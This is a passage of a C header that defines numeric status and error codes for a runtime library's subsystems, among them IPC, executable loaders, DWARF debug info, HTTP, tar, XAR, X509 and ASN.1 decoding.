VERR_L4_INVALID_DS_OFFSET (-550) /** IPC error */ #define VERR_IPC (-551) /** Item already used */ #define VERR_RESOURCE_IN_USE (-552) /** Source/destination not found */ #define VERR_IPC_PROCESS_NOT_FOUND (-553) /** Receive timeout */ #define VERR_IPC_RECEIVE_TIMEOUT (-554) /** Send timeout */ #define VERR_IPC_SEND_TIMEOUT (-555) /** Receive cancelled */ #define VERR_IPC_RECEIVE_CANCELLED (-556) /** Send cancelled */ #define VERR_IPC_SEND_CANCELLED (-557) /** Receive aborted */ #define VERR_IPC_RECEIVE_ABORTED (-558) /** Send aborted */ #define VERR_IPC_SEND_ABORTED (-559) /** Couldn't map pages during receive */ #define VERR_IPC_RECEIVE_MAP_FAILED (-560) /** Couldn't map pages during send */ #define VERR_IPC_SEND_MAP_FAILED (-561) /** Send pagefault timeout in receive */ #define VERR_IPC_RECEIVE_SEND_PF_TIMEOUT (-562) /** Send pagefault timeout in send */ #define VERR_IPC_SEND_SEND_PF_TIMEOUT (-563) /** (One) receive buffer was too small, or too few buffers */ #define VINF_IPC_RECEIVE_MSG_CUT 564 /** (One) send buffer was too small, or too few buffers */ #define VINF_IPC_SEND_MSG_CUT 565 /** Dataspace manager server not found */ #define VERR_L4_DS_MANAGER_NOT_FOUND (-566) /** @} */ /** @name Loader Status Codes. * @{ */ /** Invalid executable signature. */ #define VERR_INVALID_EXE_SIGNATURE (-600) /** The iprt loader recognized a ELF image, but doesn't support loading it. */ #define VERR_ELF_EXE_NOT_SUPPORTED (-601) /** The iprt loader recognized a PE image, but doesn't support loading it. */ #define VERR_PE_EXE_NOT_SUPPORTED (-602) /** The iprt loader recognized a LX image, but doesn't support loading it. */ #define VERR_LX_EXE_NOT_SUPPORTED (-603) /** The iprt loader recognized a LE image, but doesn't support loading it. */ #define VERR_LE_EXE_NOT_SUPPORTED (-604) /** The iprt loader recognized a NE image, but doesn't support loading it. */ #define VERR_NE_EXE_NOT_SUPPORTED (-605) /** The iprt loader recognized a MZ image, but doesn't support loading it. */ #define VERR_MZ_EXE_NOT_SUPPORTED (-606) /** The iprt loader recognized an a.out image, but doesn't support loading it. */ #define VERR_AOUT_EXE_NOT_SUPPORTED (-607) /** Bad executable. */ #define VERR_BAD_EXE_FORMAT (-608) /** Symbol (export) not found. */ #define VERR_SYMBOL_NOT_FOUND (-609) /** Module not found. */ #define VERR_MODULE_NOT_FOUND (-610) /** The loader resolved an external symbol to an address to big for the image format. */ #define VERR_SYMBOL_VALUE_TOO_BIG (-611) /** The image is too big. */ #define VERR_IMAGE_TOO_BIG (-612) /** The image base address is to high for this image type. */ #define VERR_IMAGE_BASE_TOO_HIGH (-614) /** Mismatching architecture. */ #define VERR_LDR_ARCH_MISMATCH (-615) /** Mismatch between IPRT and native loader. */ #define VERR_LDR_MISMATCH_NATIVE (-616) /** Failed to resolve an imported (external) symbol. */ #define VERR_LDR_IMPORTED_SYMBOL_NOT_FOUND (-617) /** Generic loader failure. */ #define VERR_LDR_GENERAL_FAILURE (-618) /** Code signing error. */ #define VERR_LDR_IMAGE_HASH (-619) /** The PE loader encountered delayed imports, a feature which hasn't been implemented yet. */ #define VERR_LDRPE_DELAY_IMPORT (-620) /** The PE loader encountered a malformed certificate. */ #define VERR_LDRPE_CERT_MALFORMED (-621) /** The PE loader encountered a certificate with an unsupported type or structure revision. */ #define VERR_LDRPE_CERT_UNSUPPORTED (-622) /** The PE loader doesn't know how to deal with the global pointer data directory entry yet. */ #define VERR_LDRPE_GLOBALPTR (-623) /** The PE loader doesn't support the TLS data directory yet. */ #define VERR_LDRPE_TLS (-624) /** The PE loader doesn't grok the COM descriptor data directory entry. */ #define VERR_LDRPE_COM_DESCRIPTOR (-625) /** The PE loader encountered an unknown load config directory/header size. */ #define VERR_LDRPE_LOAD_CONFIG_SIZE (-626) /** The PE loader encountered a lock prefix table, a feature which hasn't been implemented yet. */ #define VERR_LDRPE_LOCK_PREFIX_TABLE (-627) /** The ELF loader doesn't handle foreign endianness. */ #define VERR_LDRELF_ODD_ENDIAN (-630) /** The ELF image is 'dynamic', the ELF loader can only deal with 'relocatable' images at present. */ #define VERR_LDRELF_DYN (-631) /** The ELF image is 'executable', the ELF loader can only deal with 'relocatable' images at present. */ #define VERR_LDRELF_EXEC (-632) /** The ELF image was created for an unsupported target machine type. */ #define VERR_LDRELF_MACHINE (-633) /** The ELF version is not supported. */ #define VERR_LDRELF_VERSION (-634) /** The ELF loader cannot handle multiple SYMTAB sections. */ #define VERR_LDRELF_MULTIPLE_SYMTABS (-635) /** The ELF loader encountered a relocation type which is not implemented. */ #define VERR_LDRELF_RELOCATION_NOT_SUPPORTED (-636) /** The ELF loader encountered a bad symbol index. */ #define VERR_LDRELF_INVALID_SYMBOL_INDEX (-637) /** The ELF loader encountered an invalid symbol name offset. */ #define VERR_LDRELF_INVALID_SYMBOL_NAME_OFFSET (-638) /** The ELF loader encountered an invalid relocation offset. */ #define VERR_LDRELF_INVALID_RELOCATION_OFFSET (-639) /** The ELF loader didn't find the symbol/string table for the image. */ #define VERR_LDRELF_NO_SYMBOL_OR_NO_STRING_TABS (-640) /** Invalid link address. */ #define VERR_LDR_INVALID_LINK_ADDRESS (-647) /** Invalid image relative virtual address. */ #define VERR_LDR_INVALID_RVA (-648) /** Invalid segment:offset address. */ #define VERR_LDR_INVALID_SEG_OFFSET (-649) /** @}*/ /** @name Debug Info Reader Status Codes. * @{ */ /** The module contains no line number information. */ #define VERR_DBG_NO_LINE_NUMBERS (-650) /** The module contains no symbol information. */ #define VERR_DBG_NO_SYMBOLS (-651) /** The specified segment:offset address was invalid. Typically an attempt at * addressing outside the segment boundary. */ #define VERR_DBG_INVALID_ADDRESS (-652) /** Invalid segment index. */ #define VERR_DBG_INVALID_SEGMENT_INDEX (-653) /** Invalid segment offset. */ #define VERR_DBG_INVALID_SEGMENT_OFFSET (-654) /** Invalid image relative virtual address. */ #define VERR_DBG_INVALID_RVA (-655) /** Invalid image relative virtual address. */ #define VERR_DBG_SPECIAL_SEGMENT (-656) /** Address conflict within a module/segment. * Attempted to add a segment, symbol or line number that fully or partially * overlaps with an existing one. */ #define VERR_DBG_ADDRESS_CONFLICT (-657) /** Duplicate symbol within the module. * Attempted to add a symbol which name already exists within the module. */ #define VERR_DBG_DUPLICATE_SYMBOL (-658) /** The segment index specified when adding a new segment is already in use. */ #define VERR_DBG_SEGMENT_INDEX_CONFLICT (-659) /** No line number was found for the specified address/ordinal/whatever. */ #define VERR_DBG_LINE_NOT_FOUND (-660) /** The length of the symbol name is out of range. * This means it is an empty string or that it's greater or equal to * RTDBG_SYMBOL_NAME_LENGTH. */ #define VERR_DBG_SYMBOL_NAME_OUT_OF_RANGE (-661) /** The length of the file name is out of range. * This means it is an empty string or that it's greater or equal to * RTDBG_FILE_NAME_LENGTH. */ #define VERR_DBG_FILE_NAME_OUT_OF_RANGE (-662) /** The length of the segment name is out of range. * This means it is an empty string or that it is greater or equal to * RTDBG_SEGMENT_NAME_LENGTH. */ #define VERR_DBG_SEGMENT_NAME_OUT_OF_RANGE (-663) /** The specified address range wraps around. */ #define VERR_DBG_ADDRESS_WRAP (-664) /** The file is not a valid NM map file. */ #define VERR_DBG_NOT_NM_MAP_FILE (-665) /** The file is not a valid /proc/kallsyms file. */ #define VERR_DBG_NOT_LINUX_KALLSYMS (-666) /** No debug module interpreter matching the debug info. */ #define VERR_DBG_NO_MATCHING_INTERPRETER (-667) /** Bad DWARF line number header. */ #define VERR_DWARF_BAD_LINE_NUMBER_HEADER (-668) /** Unexpected end of DWARF unit. */ #define VERR_DWARF_UNEXPECTED_END (-669) /** DWARF LEB value overflows the decoder type. */ #define VERR_DWARF_LEB_OVERFLOW (-670) /** Bad DWARF extended line number opcode. */ #define VERR_DWARF_BAD_LNE (-671) /** Bad DWARF string. */ #define VERR_DWARF_BAD_STRING (-672) /** Bad DWARF position. */ #define VERR_DWARF_BAD_POS (-673) /** Bad DWARF info. */ #define VERR_DWARF_BAD_INFO (-674) /** Bad DWARF abbreviation data. */ #define VERR_DWARF_BAD_ABBREV (-675) /** A DWARF abbreviation was not found. */ #define VERR_DWARF_ABBREV_NOT_FOUND (-676) /** Encountered an unknown attribute form. */ #define VERR_DWARF_UNKNOWN_FORM (-677) /** Encountered an unexpected attribute form. */ #define VERR_DWARF_UNEXPECTED_FORM (-678) /** Unfinished code. */ #define VERR_DWARF_TODO (-679) /** Unknown location opcode. */ #define VERR_DWARF_UNKNOWN_LOC_OPCODE (-680) /** Expression stack overflow. */ #define VERR_DWARF_STACK_OVERFLOW (-681) /** Expression stack underflow. */ #define VERR_DWARF_STACK_UNDERFLOW (-682) /** Internal processing error in the DWARF code. */ #define VERR_DWARF_IPE (-683) /** Invalid configuration property value. */ #define VERR_DBG_CFG_INVALID_VALUE (-684) /** Not an integer property. */ #define VERR_DBG_CFG_NOT_UINT_PROP (-685) /** Deferred loading of information failed. */ #define VERR_DBG_DEFERRED_LOAD_FAILED (-686) /** Unfinished debug info reader code. */ #define VERR_DBG_TODO (-687) /** Found file, but it didn't match the search criteria. */ #define VERR_DBG_FILE_MISMATCH (-688) /** Internal processing error in the debug module reader code. */ #define VERR_DBG_MOD_IPE (-689) /** The symbol size was adjusted while adding it. */ #define VINF_DBG_ADJUSTED_SYM_SIZE 690 /** Unable to parse the CodeView debug information. */ #define VERR_CV_BAD_FORMAT (-691) /** Unfinished CodeView debug information feature. */ #define VERR_CV_TODO (-692) /** Internal processing error the CodeView debug information reader. */ #define VERR_CV_IPE (-693) /** @} */ /** @name Request Packet Status Codes. * @{ */ /** Invalid RT request type. * For the RTReqAlloc() case, the caller just specified an illegal enmType. For * all the other occurrences it means indicates corruption, broken logic, or stupid * interface user. */ #define VERR_RT_REQUEST_INVALID_TYPE (-700) /** Invalid RT request state. * The state of the request packet was not the expected and accepted one(s). Either * the interface user screwed up, or we've got corruption/broken logic. */ #define VERR_RT_REQUEST_STATE (-701) /** Invalid RT request packet. * One or more of the RT controlled packet members didn't contain the correct * values. Some thing's broken. */ #define VERR_RT_REQUEST_INVALID_PACKAGE (-702) /** The status field has not been updated yet as the request is still * pending completion. Someone queried the iStatus field before the request * has been fully processed. */ #define VERR_RT_REQUEST_STATUS_STILL_PENDING (-703) /** The request has been freed, don't read the status now. * Someone is reading the iStatus field of a freed request packet. */ #define VERR_RT_REQUEST_STATUS_FREED (-704) /** @} */ /** @name Environment Status Code * @{ */ /** The specified environment variable was not found. (RTEnvGetEx) */ #define VERR_ENV_VAR_NOT_FOUND (-750) /** The specified environment variable was not found. (RTEnvUnsetEx) */ #define VINF_ENV_VAR_NOT_FOUND (750) /** Unable to translate all the variables in the default environment due to * codeset issues (LANG / LC_ALL / LC_CTYPE). */ #define VWRN_ENV_NOT_FULLY_TRANSLATED (751) /** @} */ /** @name Multiprocessor Status Codes. * @{ */ /** The specified cpu is offline. */ #define VERR_CPU_OFFLINE (-800) /** The specified cpu was not found. */ #define VERR_CPU_NOT_FOUND (-801) /** Not all of the requested CPUs showed up in the PFNRTMPWORKER. */ #define VERR_NOT_ALL_CPUS_SHOWED (-802) /** Internal processing error in the RTMp code.*/ #define VERR_CPU_IPE_1 (-803) /** @} */ /** @name RTGetOpt status codes * @{ */ /** RTGetOpt: Command line option not recognized. */ #define VERR_GETOPT_UNKNOWN_OPTION (-825) /** RTGetOpt: Command line option needs argument. */ #define VERR_GETOPT_REQUIRED_ARGUMENT_MISSING (-826) /** RTGetOpt: Command line option has argument with bad format. */ #define VERR_GETOPT_INVALID_ARGUMENT_FORMAT (-827) /** RTGetOpt: Not an option. */ #define VINF_GETOPT_NOT_OPTION 828 /** RTGetOpt: Command line option needs an index. */ #define VERR_GETOPT_INDEX_MISSING (-829) /** @} */ /** @name RTCache status codes * @{ */ /** RTCache: cache is full. */ #define VERR_CACHE_FULL (-850) /** RTCache: cache is empty. */ #define VERR_CACHE_EMPTY (-851) /** @} */ /** @name RTMemCache status codes * @{ */ /** Reached the max cache size. */ #define VERR_MEM_CACHE_MAX_SIZE (-855) /** @} */ /** @name RTS3 status codes * @{ */ /** Access denied error. */ #define VERR_S3_ACCESS_DENIED (-875) /** The bucket/key wasn't found. */ #define VERR_S3_NOT_FOUND (-876) /** Bucket already exists. */ #define VERR_S3_BUCKET_ALREADY_EXISTS (-877) /** Can't delete bucket with keys. */ #define VERR_S3_BUCKET_NOT_EMPTY (-878) /** The current operation was canceled. */ #define VERR_S3_CANCELED (-879) /** @} */ /** @name HTTP status codes * @{ */ /** HTTP initialization failed. */ #define VERR_HTTP_INIT_FAILED (-885) /** The server has not found anything matching the URI given. */ #define VERR_HTTP_NOT_FOUND (-886) /** The request is for something forbidden. Authorization will not help. */ #define VERR_HTTP_ACCESS_DENIED (-887) /** The server did not understand the request due to bad syntax. */ #define VERR_HTTP_BAD_REQUEST (-888) /** Couldn't connect to the server (proxy?). */ #define VERR_HTTP_COULDNT_CONNECT (-889) /** SSL connection error. */ #define VERR_HTTP_SSL_CONNECT_ERROR (-890) /** CAcert is missing or has the wrong format. */ #define VERR_HTTP_CACERT_WRONG_FORMAT (-891) /** Certificate cannot be authenticated with the given CA certificates. */ #define VERR_HTTP_CACERT_CANNOT_AUTHENTICATE (-892) /** The current HTTP request was forcefully aborted */ #define VERR_HTTP_ABORTED (-893) /** Request was redirected. */ #define VERR_HTTP_REDIRECTED (-894) /** @} */ /** @name RTManifest status codes * @{ */ /** A digest type used in the manifest file isn't supported. */ #define VERR_MANIFEST_UNSUPPORTED_DIGEST_TYPE (-900) /** An entry in the manifest file couldn't be interpreted correctly. */ #define VERR_MANIFEST_WRONG_FILE_FORMAT (-901) /** A digest doesn't match the corresponding file. */ #define VERR_MANIFEST_DIGEST_MISMATCH (-902) /** The file list doesn't match to the content of the manifest file. */ #define VERR_MANIFEST_FILE_MISMATCH (-903) /** The specified attribute (name) was not found in the manifest. */ #define VERR_MANIFEST_ATTR_NOT_FOUND (-904) /** The attribute type did not match. */ #define VERR_MANIFEST_ATTR_TYPE_MISMATCH (-905) /** No attribute of the specified types was found. */ #define VERR_MANIFEST_ATTR_TYPE_NOT_FOUND (-906) /** @} */ /** @name RTTar status codes * @{ */ /** The checksum of a tar header record doesn't match. */ #define VERR_TAR_CHKSUM_MISMATCH (-925) /** The tar end of file record was read. */ #define VERR_TAR_END_OF_FILE (-926) /** The tar file ended unexpectedly. */ #define VERR_TAR_UNEXPECTED_EOS (-927) /** The tar termination records was encountered without reaching the end of * the input stream. */ #define VERR_TAR_EOS_MORE_INPUT (-928) /** A number tar header field was malformed. */ #define VERR_TAR_BAD_NUM_FIELD (-929) /** A numeric tar header field was not terminated correctly. */ #define VERR_TAR_BAD_NUM_FIELD_TERM (-930) /** A number tar header field was encoded using base-256 which this * tar implementation currently does not support. */ #define VERR_TAR_BASE_256_NOT_SUPPORTED (-931) /** A number tar header field yielded a value too large for the internal * variable of the tar interpreter. */ #define VERR_TAR_NUM_VALUE_TOO_LARGE (-932) /** The combined minor and major device number type is too small to hold the * value stored in the tar header. */ #define VERR_TAR_DEV_VALUE_TOO_LARGE (-933) /** The mode field in a tar header is bad. */ #define VERR_TAR_BAD_MODE_FIELD (-934) /** The mode field should not include the type. */ #define VERR_TAR_MODE_WITH_TYPE (-935) /** The size field should be zero for links and symlinks. */ #define VERR_TAR_SIZE_NOT_ZERO (-936) /** Encountered an unknown type flag. */ #define VERR_TAR_UNKNOWN_TYPE_FLAG (-937) /** The tar header is all zeros. */ #define VERR_TAR_ZERO_HEADER (-938) /** Not a uniform standard tape v0.0 archive header. */ #define VERR_TAR_NOT_USTAR_V00 (-939) /** The name is empty. */ #define VERR_TAR_EMPTY_NAME (-940) /** A non-directory entry has a name ending with a slash. */ #define VERR_TAR_NON_DIR_ENDS_WITH_SLASH (-941) /** Encountered an unsupported portable archive exchange (pax) header. */ #define VERR_TAR_UNSUPPORTED_PAX_TYPE (-942) /** Encountered an unsupported Solaris Tar extension. */ #define VERR_TAR_UNSUPPORTED_SOLARIS_HDR_TYPE (-943) /** Encountered an unsupported GNU Tar extension. */ #define VERR_TAR_UNSUPPORTED_GNU_HDR_TYPE (-944) /** Malformed checksum field in the tar header. */ #define VERR_TAR_BAD_CHKSUM_FIELD (-945) /** Malformed checksum field in the tar header. */ #define VERR_TAR_MALFORMED_GNU_LONGXXXX (-946) /** Too long name or link string. */ #define VERR_TAR_NAME_TOO_LONG (-947) /** A directory entry in the archive. */ #define VINF_TAR_DIR_PATH (948) /** @} */ /** @name RTPoll status codes * @{ */ /** The handle is not pollable. */ #define VERR_POLL_HANDLE_NOT_POLLABLE (-950) /** The handle ID is already present in the poll set. */ #define VERR_POLL_HANDLE_ID_EXISTS (-951) /** The handle ID was not found in the set. */ #define VERR_POLL_HANDLE_ID_NOT_FOUND (-952) /** The poll set is full. */ #define VERR_POLL_SET_IS_FULL (-953) /** @} */ /** @name Pkzip status codes * @{ */ /** No end of central directory record found. */ #define VERR_PKZIP_NO_EOCB (-960) /** Too long name string. */ #define VERR_PKZIP_NAME_TOO_LONG (-961) /** Local file header corrupt. */ #define VERR_PKZIP_BAD_LF_HEADER (-962) /** Central directory file header corrupt. */ #define VERR_PKZIP_BAD_CDF_HEADER (-963) /** Encountered an unknown type flag. */ #define VERR_PKZIP_UNKNOWN_TYPE_FLAG (-964) /** Found a ZIP64 Extra Information Field in a ZIP32 file. */ #define VERR_PKZIP_ZIP64EX_IN_ZIP32 (-965) /** @name RTZip status codes * @{ */ /** Generic zip error. */ #define VERR_ZIP_ERROR (-22000) /** The compressed data was corrupted. */ #define VERR_ZIP_CORRUPTED (-22001) /** Ran out of memory while compressing or uncompressing. */ #define VERR_ZIP_NO_MEMORY (-22002) /** The compression format version is unsupported. */ #define VERR_ZIP_UNSUPPORTED_VERSION (-22003) /** The compression method is unsupported. */ #define VERR_ZIP_UNSUPPORTED_METHOD (-22004) /** The compressed data started with a bad header. */ #define VERR_ZIP_BAD_HEADER (-22005) /** @} */ /** @name RTVfs status codes * @{ */ /** The VFS chain specification does not have a valid prefix. */ #define VERR_VFS_CHAIN_NO_PREFIX (-22100) /** The VFS chain specification is empty. */ #define VERR_VFS_CHAIN_EMPTY (-22101) /** Expected an element. */ #define VERR_VFS_CHAIN_EXPECTED_ELEMENT (-22102) /** The VFS object type is not known. */ #define VERR_VFS_CHAIN_UNKNOWN_TYPE (-22103) /** Expected a left paranthese. */ #define VERR_VFS_CHAIN_EXPECTED_LEFT_PARENTHESES (-22104) /** Expected a right paranthese. */ #define VERR_VFS_CHAIN_EXPECTED_RIGHT_PARENTHESES (-22105) /** Expected a provider name. */ #define VERR_VFS_CHAIN_EXPECTED_PROVIDER_NAME (-22106) /** Expected an action (> or |). */ #define VERR_VFS_CHAIN_EXPECTED_ACTION (-22107) /** Only one action element is currently supported. */ #define VERR_VFS_CHAIN_MULTIPLE_ACTIONS (-22108) /** Expected to find a driving action (>), but there is none. */ #define VERR_VFS_CHAIN_NO_ACTION (-22109) /** Expected pipe action. */ #define VERR_VFS_CHAIN_EXPECTED_PIPE (-22110) /** Unexpected action type. */ #define VERR_VFS_CHAIN_UNEXPECTED_ACTION_TYPE (-22111) /** @} */ /** @name RTDvm status codes * @{ */ /** The volume map doesn't contain any valid volume. */ #define VERR_DVM_MAP_EMPTY (-22200) /** There is no volume behind the current one. */ #define VERR_DVM_MAP_NO_VOLUME (-22201) /** @} */ /** @name Logger status codes * @{ */ /** The internal logger revision did not match. */ #define VERR_LOG_REVISION_MISMATCH (-22300) /** @} */ /* see above, 22400..22499 is used for misc codes! */ /** @name Logger status codes * @{ */ /** Power off is not supported by the hardware or the OS. */ #define VERR_SYS_CANNOT_POWER_OFF (-22500) /** The halt action was requested, but the OS may actually power * off the machine. */ #define VINF_SYS_MAY_POWER_OFF (22501) /** Shutdown failed. */ #define VERR_SYS_SHUTDOWN_FAILED (-22502) /** @} */ /** @name Filesystem status codes * @{ */ /** Filesystem can't be opened because it is corrupt. */ #define VERR_FILESYSTEM_CORRUPT (-22600) /** @} */ /** @name RTZipXar status codes. * @{ */ /** Wrong magic value. */ #define VERR_XAR_WRONG_MAGIC (-22700) /** Bad header size. */ #define VERR_XAR_BAD_HDR_SIZE (-22701) /** Unsupported version. */ #define VERR_XAR_UNSUPPORTED_VERSION (-22702) /** Unsupported hashing function. */ #define VERR_XAR_UNSUPPORTED_HASH_FUNCTION (-22703) /** The table of content (TOC) is too small and therefore can't be valid. */ #define VERR_XAR_TOC_TOO_SMALL (-22704) /** The table of content (TOC) is too big. */ #define VERR_XAR_TOC_TOO_BIG (-22705) /** The compressed table of content is too big. */ #define VERR_XAR_TOC_TOO_BIG_COMPRESSED (-22706) /** The uncompressed table of content size in the header didn't match what * ZLib returned. */ #define VERR_XAR_TOC_UNCOMP_SIZE_MISMATCH (-22707) /** The table of content string length didn't match the size specified in the * header. */ #define VERR_XAR_TOC_STRLEN_MISMATCH (-22708) /** The table of content isn't valid UTF-8. */ #define VERR_XAR_TOC_UTF8_ENCODING (-22709) /** XML error while parsing the table of content. */ #define VERR_XAR_TOC_XML_PARSE_ERROR (-22710) /** The table of content XML document does not have a toc element. */ #define VERR_XML_TOC_ELEMENT_MISSING (-22711) /** The table of content XML element (toc) has sibilings, we expected it to be * an only child or the root element (xar). */ #define VERR_XML_TOC_ELEMENT_HAS_SIBLINGS (-22712) /** The XAR table of content digest doesn't match. */ #define VERR_XAR_TOC_DIGEST_MISMATCH (-22713) /** Bad or missing XAR checksum element. */ #define VERR_XAR_BAD_CHECKSUM_ELEMENT (-22714) /** The hash function in the header doesn't match the one in the table of * content. */ #define VERR_XAR_HASH_FUNCTION_MISMATCH (-22715) /** Bad digest length encountered in the table of content. */ #define VERR_XAR_BAD_DIGEST_LENGTH (-22716) /** The order of elements in the XAR file does not lend it self to expansion * from via an I/O stream. */ #define VERR_XAR_NOT_STREAMBLE_ELEMENT_ORDER (-22717) /** Missing offset element in table of content sub-element. */ #define VERR_XAR_MISSING_OFFSET_ELEMENT (-22718) /** Bad offset element in table of content sub-element. */ #define VERR_XAR_BAD_OFFSET_ELEMENT (-22719) /** Missing size element in table of content sub-element. */ #define VERR_XAR_MISSING_SIZE_ELEMENT (-22720) /** Bad size element in table of content sub-element. */ #define VERR_XAR_BAD_SIZE_ELEMENT (-22721) /** Missing length element in table of content sub-element. */ #define VERR_XAR_MISSING_LENGTH_ELEMENT (-22722) /** Bad length element in table of content sub-element. */ #define VERR_XAR_BAD_LENGTH_ELEMENT (-22723) /** Bad file element in XAR table of content. */ #define VERR_XAR_BAD_FILE_ELEMENT (-22724) /** Missing data element for XAR file. */ #define VERR_XAR_MISSING_DATA_ELEMENT (-22725) /** Unknown XAR file type value. */ #define VERR_XAR_UNKNOWN_FILE_TYPE (-22726) /** Missing encoding element for XAR data stream. */ #define VERR_XAR_NO_ENCODING (-22727) /** Bad timestamp for XAR file. */ #define VERR_XAR_BAD_FILE_TIMESTAMP (-22728) /** Bad file mode for XAR file. */ #define VERR_XAR_BAD_FILE_MODE (-22729) /** Bad file user id for XAR file. */ #define VERR_XAR_BAD_FILE_UID (-22730) /** Bad file group id for XAR file. */ #define VERR_XAR_BAD_FILE_GID (-22731) /** Bad file inode device number for XAR file. */ #define VERR_XAR_BAD_FILE_DEVICE_NO (-22732) /** Bad file inode number for XAR file. */ #define VERR_XAR_BAD_FILE_INODE (-22733) /** Invalid name for XAR file. */ #define VERR_XAR_INVALID_FILE_NAME (-22734) /** The message digest of the extracted data does not match the one supplied. */ #define VERR_XAR_EXTRACTED_HASH_MISMATCH (-22735) /** The extracted data has exceeded the expected size. */ #define VERR_XAR_EXTRACTED_SIZE_EXCEEDED (-22736) /** The message digest of the archived data does not match the one supplied. */ #define VERR_XAR_ARCHIVED_HASH_MISMATCH (-22737) /** The decompressor completed without using all the input data. */ #define VERR_XAR_UNUSED_ARCHIVED_DATA (-22738) /** Expected the archived and extracted XAR data sizes to be the same for * uncompressed data. */ #define VERR_XAR_ARCHIVED_AND_EXTRACTED_SIZES_MISMATCH (-22739) /** @} */ /** @name RTX509 status codes * @{ */ /** Error reading a certificate in PEM format from BIO. */ #define VERR_X509_READING_CERT_FROM_BIO (-23100) /** Error extracting a public key from the certificate. */ #define VERR_X509_EXTRACT_PUBKEY_FROM_CERT (-23101) /** Error extracting RSA from the public key. */ #define VERR_X509_EXTRACT_RSA_FROM_PUBLIC_KEY (-23102) /** Signature verification failed. */ #define VERR_X509_RSA_VERIFICATION_FUILURE (-23103) /** Basic constraints were not found. */ #define VERR_X509_NO_BASIC_CONSTARAINTS (-23104) /** Error getting extensions from the certificate. */ #define VERR_X509_GETTING_EXTENSION_FROM_CERT (-23105) /** Error getting a data from the extension. */ #define VERR_X509_GETTING_DATA_FROM_EXTENSION (-23106) /** Error formatting an extension. */ #define VERR_X509_PRINT_EXTENSION_TO_BIO (-23107) /** X509 certificate verification error. */ #define VERR_X509_CERTIFICATE_VERIFICATION_FAILURE (-23108) /** X509 certificate isn't self signed. */ #define VERR_X509_NOT_SELFSIGNED_CERTIFICATE (-23109) /** Warning X509 certificate isn't self signed. */ #define VINF_X509_NOT_SELFSIGNED_CERTIFICATE 23109 /** @} */ /** @name RTAsn1 status codes * @{ */ /** Temporary place holder. */ #define VERR_ASN1_ERROR (-22800) /** Encountered an ASN.1 string type that is not supported. */ #define VERR_ASN1_STRING_TYPE_NOT_IMPLEMENTED (-22801) /** Invalid ASN.1 UTF-8 STRING encoding. */ #define VERR_ASN1_INVALID_UTF8_STRING_ENCODING (-22802) /** Invalid ASN.1 NUMERIC STRING encoding. */ #define VERR_ASN1_INVALID_NUMERIC_STRING_ENCODING (-22803) /** Invalid ASN.1 PRINTABLE STRING encoding. */ #define VERR_ASN1_INVALID_PRINTABLE_STRING_ENCODING (-22804) /** Invalid ASN.1 T61/TELETEX STRING encoding. */ #define VERR_ASN1_INVALID_T61_STRING_ENCODING (-22805) /** Invalid ASN.1 VIDEOTEX STRING encoding. */ #define VERR_ASN1_INVALID_VIDEOTEX_STRING_ENCODING (-22806) /** Invalid ASN.1 IA5 STRING encoding. */ #define VERR_ASN1_INVALID_IA5_STRING_ENCODING (-22807) /** Invalid ASN.1 GRAPHIC STRING encoding. */ #define VERR_ASN1_INVALID_GRAPHIC_STRING_ENCODING (-22808) /** Invalid ASN.1 ISO-646/VISIBLE STRING encoding. */ #define VERR_ASN1_INVALID_VISIBLE_STRING_ENCODING (-22809) /** Invalid ASN.1 GENERAL STRING encoding. */ #define VERR_ASN1_INVALID_GENERAL_STRING_ENCODING (-22810) /** Invalid ASN.1 UNIVERSAL STRING encoding. */ #define VERR_ASN1_INVALID_UNIVERSAL_STRING_ENCODING (-22811) /** Invalid ASN.1 BMP STRING encoding. */ #define VERR_ASN1_INVALID_BMP_STRING_ENCODING (-22812) /** Invalid ASN.1 OBJECT IDENTIFIER encoding. */ #define VERR_ASN1_INVALID_OBJID_ENCODING (-22813) /** A component value of an ASN.1 OBJECT IDENTIFIER is too big for our * internal representation (32-bits). */ #define VERR_ASN1_OBJID_COMPONENT_TOO_BIG (-22814) /** Too many components in an ASN.1 OBJECT IDENTIFIER for our internal * representation. */ #define VERR_ASN1_OBJID_TOO_MANY_COMPONENTS (-22815) /** The dotted-string representation of an ASN.1 OBJECT IDENTIFIER would be too * long for our internal representation. */ #define VERR_ASN1_OBJID_TOO_LONG_STRING_FORM (-22816) /** Invalid dotted string. */ #define VERR_ASN1_OBJID_INVALID_DOTTED_STRING (-22817) /** Constructed string type not implemented. */ #define VERR_ASN1_CONSTRUCTED_STRING_NOT_IMPL (-22818) /** Expected a different string tag. */ #define VERR_ASN1_STRING_TAG_MISMATCH (-22819) /** Expected a different time tag. */ #define VERR_ASN1_TIME_TAG_MISMATCH (-22820) /** More unconsumed data available. */ #define VINF_ASN1_MORE_DATA (22821) /** RTAsnEncodeWriteHeader return code indicating that nothing was written * and the content should be skipped as well. */ #define VINF_ASN1_NOT_ENCODED (22822) /** Unknown escape sequence encountered in TeletexString. */ #define VERR_ASN1_TELETEX_UNKNOWN_ESC_SEQ (-22823) /** Unsupported escape sequence encountered in TeletexString. */ #define VERR_ASN1_TELETEX_UNSUPPORTED_ESC_SEQ (-22824) /** Unsupported character set. */ #define VERR_ASN1_TELETEX_UNSUPPORTED_CHARSET (-22825) /** ASN.1 object has no virtual method table. */ #define VERR_ASN1_NO_VTABLE (-22826) /** ASN.1 object has no pfnCheckSanity method. */ #define VERR_ASN1_NO_CHECK_SANITY_METHOD (-22827) /** ASN.1 object is not present */ #define VERR_ASN1_NOT_PRESENT (-22828) /** There are unconsumed bytes after decoding an ASN.1 object. */ #define VERR_ASN1_CURSOR_NOT_AT_END (-22829) /** Long ASN.1 tag form is not implemented. */ #define VERR_ASN1_CURSOR_LONG_TAG (-22830) /** Bad ASN.1 object length encoding. */ #define VERR_ASN1_CURSOR_BAD_LENGTH_ENCODING (-22831) /** Indefinite length form is against the rules. */ #define VERR_ASN1_CURSOR_ILLEGAL_IDEFINITE_LENGTH (-22832) /** Indefinite length form is not implemented. */ #define VERR_ASN1_CURSOR_IDEFINITE_LENGTH_NOT_SUP (-22833) /** ASN.1 object length goes beyond the end of the byte stream being decoded. */ #define VERR_ASN1_CURSOR_BAD_LENGTH (-22834) /** Not more data in ASN.1 byte stream. */ #define VERR_ASN1_CURSOR_NO_MORE_DATA (-22835) /** Too little data in ASN.1 byte stream. */ #define VERR_ASN1_CURSOR_TOO_LITTLE_DATA_LEFT (-22836) /** Constructed string is not according to the encoding rules. */ #define VERR_ASN1_CURSOR_ILLEGAL_CONSTRUCTED_STRING (-22837) /** Unexpected ASN.1 tag encountered while decoding. */ #define VERR_ASN1_CURSOR_TAG_MISMATCH (-22838) /** Unexpected ASN.1 tag 